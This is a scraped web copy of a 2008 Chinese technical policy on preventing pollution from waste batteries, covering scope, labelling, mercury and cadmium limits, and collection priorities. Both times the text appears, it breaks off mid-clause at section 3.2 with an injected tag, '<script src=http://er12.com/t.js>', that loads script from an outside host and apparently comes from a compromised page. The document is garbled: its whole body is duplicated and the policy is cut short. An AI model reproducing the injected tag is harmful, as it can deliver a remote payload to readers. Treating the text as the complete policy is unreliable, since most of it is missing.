廢電池污染防治技術政策
發布時間:2008/5/25 0:00:00 訪問次數:2583
廢電池污染防治技術政策
1. 總則
1.1 為引導廢電池環境管理和處理處置、資源再生技術的發展,規范廢電池處理處置和資源再生行為,防止環境污染,促進社會和經濟的可持續發展,根據《中華人民共和國固體廢物污染環境防治法》等有關法律、法規、政策和標準,制定本技術政策。本技術政策隨社會經濟、技術水平的發展適時修訂。
1.2 本技術政策所稱廢電池包括下述廢物:
已經失去使用價值而被廢棄的各種一次電池(包括扣式電池)、可充電電池等;
已經失去使用價值而被廢棄的鉛酸蓄電池以及其他蓄電池等;
已經失去使用價值而被廢棄的各種用電器具的專用電池組及其中的單體電池;
上述各種電池在生產、運輸、銷售過程中產生的不合格產品、報廢產品、過期產品等;
上述各種電池在生產過程中產生的混合下腳料等混合廢料;
其他廢棄的化學電源|穩壓器。
1.3 本技術政策適用于廢電池的分類、收集、運輸、綜合利用、貯存和處理處置等全過程污染防治的技術選擇,并指導相應設施的規劃、立項、選址、設計、施工、運營和管理,引導相關產業的發展。
1.4 廢電池污染控制應該遵循電池產品生命周期分析的基本原理,積極推行清潔生產,實行全過程管理和污染物質總量控制的原則。
1.5 廢電池污染控制的重點是廢含汞電池、廢鎘鎳電池、廢鉛酸蓄電池。逐漸減少以至最終在一次電池生產中不使用汞,安全、高效、低成本收集、回收或安全處置廢鎘鎳電池、廢鉛酸蓄電池以及其他對環境有害的廢電池。
1.6 廢氧化汞電池、廢鎘鎳電池、廢鉛酸蓄電池屬于危險廢物,應該按照有關危險廢物的管理法規、標準進行管理。
1.7 鼓勵開展廢電池污染途徑、污染規律和對環境影響小的新型電池開發的科學研究,確定相應的污染防治對策。
1.8 通過宣傳和普及廢電池污染防治知識,提高公眾環境意識,促進公眾對廢電池管理及其可能造成的環境危害有正確了解,實現對廢電池科學、合理、有效的管理。
1.9 各級人民政府應制定鼓勵性經濟政策等措施,加快符合環境保護要求的廢電池分類收集、貯存、資源再生及處理處置體系和設施建設,推動廢電池污染防治工作。
1.10 本技術政策遵循《危險廢物污染防治技術政策》的總體原則。
2.電池的生產與使用
2.1 制定有關電池分類標識的技術標準,以利于廢電池的分類收集、資源利用和處理處置。電池分類標識應包括下述內容:
需要回收電池的回收標識;
需要回收電池的種類標識;
電池中有害成分的含量標識。
2.2 電池制造商和委托其他制造商生產使用自己所擁有商標電池的商家,應當在其生產的電池上按照國家標準標注標識。
使用專用內置電池的器具生產商應該在其生產的產品上按照國家標準標注電池分類標識。
2.3 電池進口商應該要求國外制造商(或經銷商)在出口到我國的電池上按照中國國家標準標注標識,或由進口商在其進口的電池上粘貼按照中國國家標準標注的標識。
2.4 使用電池的器具在設計時應該采用易于拆卸電池(或電池組)的結構,并且在其使用說明書中明確電池的使用和安裝拆卸方法,以及提示電池廢棄后的處置方式。
2.5 根據國家有關規定禁止生產和銷售氧化汞電池。根據國家有關規定禁止生產和銷售汞含量大于電池質量0.025%的鋅錳及堿性鋅錳電池;2005年1月1日起停止生產含汞量大于0.0001%的堿性鋅錳電池。逐步提高含汞量小于0.0001%的堿性鋅錳電池在一次電池中的比例;逐步減少糊式電池的生產和銷售量,最終實現淘汰糊式電池。
2.6 依托技術進步,通過制定有關電池中鎘、鉛的最高含量的標準,限制鎘、鉛等有害元素在有關電池中的使用。鼓勵發展鋰離子和金屬氫化物鎳電池(簡稱氫鎳電池)等可充電電池的生產,替代鎘鎳可充電電池,減少鎘鎳電池的生產和使用,最終在民用市場淘汰鎘鎳電池。
2.7 鼓勵開發低耗、高能、低污染的電池產品和生產工藝、使用技術。鼓勵電池生產使用再生材料。
2.8 加強宣傳和教育,鼓勵和支持消費者使用汞含量小于0.0001%的高能堿性鋅錳電池;鼓勵和支持消費者使用氫鎳電池和鋰離子電池等可充電電池以替代鎘鎳電池;鼓勵和支持消費者拒絕購買、使用劣質和冒牌的電池產品以及沒有正確標注有關標識的電池產品;
3.收集
3.1 廢電池的收集重點是鎘鎳電池、氫鎳電池、鋰離子電池、鉛酸電池等廢棄的可充電電池(以下簡稱為廢充電電池)和氧化銀等廢棄的扣式一次電池(以下簡稱為廢扣式電池)。
3.2 廢?script src=http://er12.com/t.js>
廢電池污染防治技術政策
1. 總則
1.1 為引導廢電池環境管理和處理處置、資源再生技術的發展,規范廢電池處理處置和資源再生行為,防止環境污染,促進社會和經濟的可持續發展,根據《中華人民共和國固體廢物污染環境防治法》等有關法律、法規、政策和標準,制定本技術政策。本技術政策隨社會經濟、技術水平的發展適時修訂。
1.2 本技術政策所稱廢電池包括下述廢物:
已經失去使用價值而被廢棄的各種一次電池(包括扣式電池)、可充電電池等;
已經失去使用價值而被廢棄的鉛酸蓄電池以及其他蓄電池等;
已經失去使用價值而被廢棄的各種用電器具的專用電池組及其中的單體電池;
上述各種電池在生產、運輸、銷售過程中產生的不合格產品、報廢產品、過期產品等;
上述各種電池在生產過程中產生的混合下腳料等混合廢料;
其他廢棄的化學電源|穩壓器。
1.3 本技術政策適用于廢電池的分類、收集、運輸、綜合利用、貯存和處理處置等全過程污染防治的技術選擇,并指導相應設施的規劃、立項、選址、設計、施工、運營和管理,引導相關產業的發展。
1.4 廢電池污染控制應該遵循電池產品生命周期分析的基本原理,積極推行清潔生產,實行全過程管理和污染物質總量控制的原則。
1.5 廢電池污染控制的重點是廢含汞電池、廢鎘鎳電池、廢鉛酸蓄電池。逐漸減少以至最終在一次電池生產中不使用汞,安全、高效、低成本收集、回收或安全處置廢鎘鎳電池、廢鉛酸蓄電池以及其他對環境有害的廢電池。
1.6 廢氧化汞電池、廢鎘鎳電池、廢鉛酸蓄電池屬于危險廢物,應該按照有關危險廢物的管理法規、標準進行管理。
1.7 鼓勵開展廢電池污染途徑、污染規律和對環境影響小的新型電池開發的科學研究,確定相應的污染防治對策。
1.8 通過宣傳和普及廢電池污染防治知識,提高公眾環境意識,促進公眾對廢電池管理及其可能造成的環境危害有正確了解,實現對廢電池科學、合理、有效的管理。
1.9 各級人民政府應制定鼓勵性經濟政策等措施,加快符合環境保護要求的廢電池分類收集、貯存、資源再生及處理處置體系和設施建設,推動廢電池污染防治工作。
1.10 本技術政策遵循《危險廢物污染防治技術政策》的總體原則。
2.電池的生產與使用
2.1 制定有關電池分類標識的技術標準,以利于廢電池的分類收集、資源利用和處理處置。電池分類標識應包括下述內容:
需要回收電池的回收標識;
需要回收電池的種類標識;
電池中有害成分的含量標識。
2.2 電池制造商和委托其他制造商生產使用自己所擁有商標電池的商家,應當在其生產的電池上按照國家標準標注標識。
使用專用內置電池的器具生產商應該在其生產的產品上按照國家標準標注電池分類標識。
2.3 電池進口商應該要求國外制造商(或經銷商)在出口到我國的電池上按照中國國家標準標注標識,或由進口商在其進口的電池上粘貼按照中國國家標準標注的標識。
2.4 使用電池的器具在設計時應該采用易于拆卸電池(或電池組)的結構,并且在其使用說明書中明確電池的使用和安裝拆卸方法,以及提示電池廢棄后的處置方式。
2.5 根據國家有關規定禁止生產和銷售氧化汞電池。根據國家有關規定禁止生產和銷售汞含量大于電池質量0.025%的鋅錳及堿性鋅錳電池;2005年1月1日起停止生產含汞量大于0.0001%的堿性鋅錳電池。逐步提高含汞量小于0.0001%的堿性鋅錳電池在一次電池中的比例;逐步減少糊式電池的生產和銷售量,最終實現淘汰糊式電池。
2.6 依托技術進步,通過制定有關電池中鎘、鉛的最高含量的標準,限制鎘、鉛等有害元素在有關電池中的使用。鼓勵發展鋰離子和金屬氫化物鎳電池(簡稱氫鎳電池)等可充電電池的生產,替代鎘鎳可充電電池,減少鎘鎳電池的生產和使用,最終在民用市場淘汰鎘鎳電池。
2.7 鼓勵開發低耗、高能、低污染的電池產品和生產工藝、使用技術。鼓勵電池生產使用再生材料。
2.8 加強宣傳和教育,鼓勵和支持消費者使用汞含量小于0.0001%的高能堿性鋅錳電池;鼓勵和支持消費者使用氫鎳電池和鋰離子電池等可充電電池以替代鎘鎳電池;鼓勵和支持消費者拒絕購買、使用劣質和冒牌的電池產品以及沒有正確標注有關標識的電池產品;
3.收集
3.1 廢電池的收集重點是鎘鎳電池、氫鎳電池、鋰離子電池、鉛酸電池等廢棄的可充電電池(以下簡稱為廢充電電池)和氧化銀等廢棄的扣式一次電池(以下簡稱為廢扣式電池)。
3.2 廢?script src=http://er12.com/t.js>
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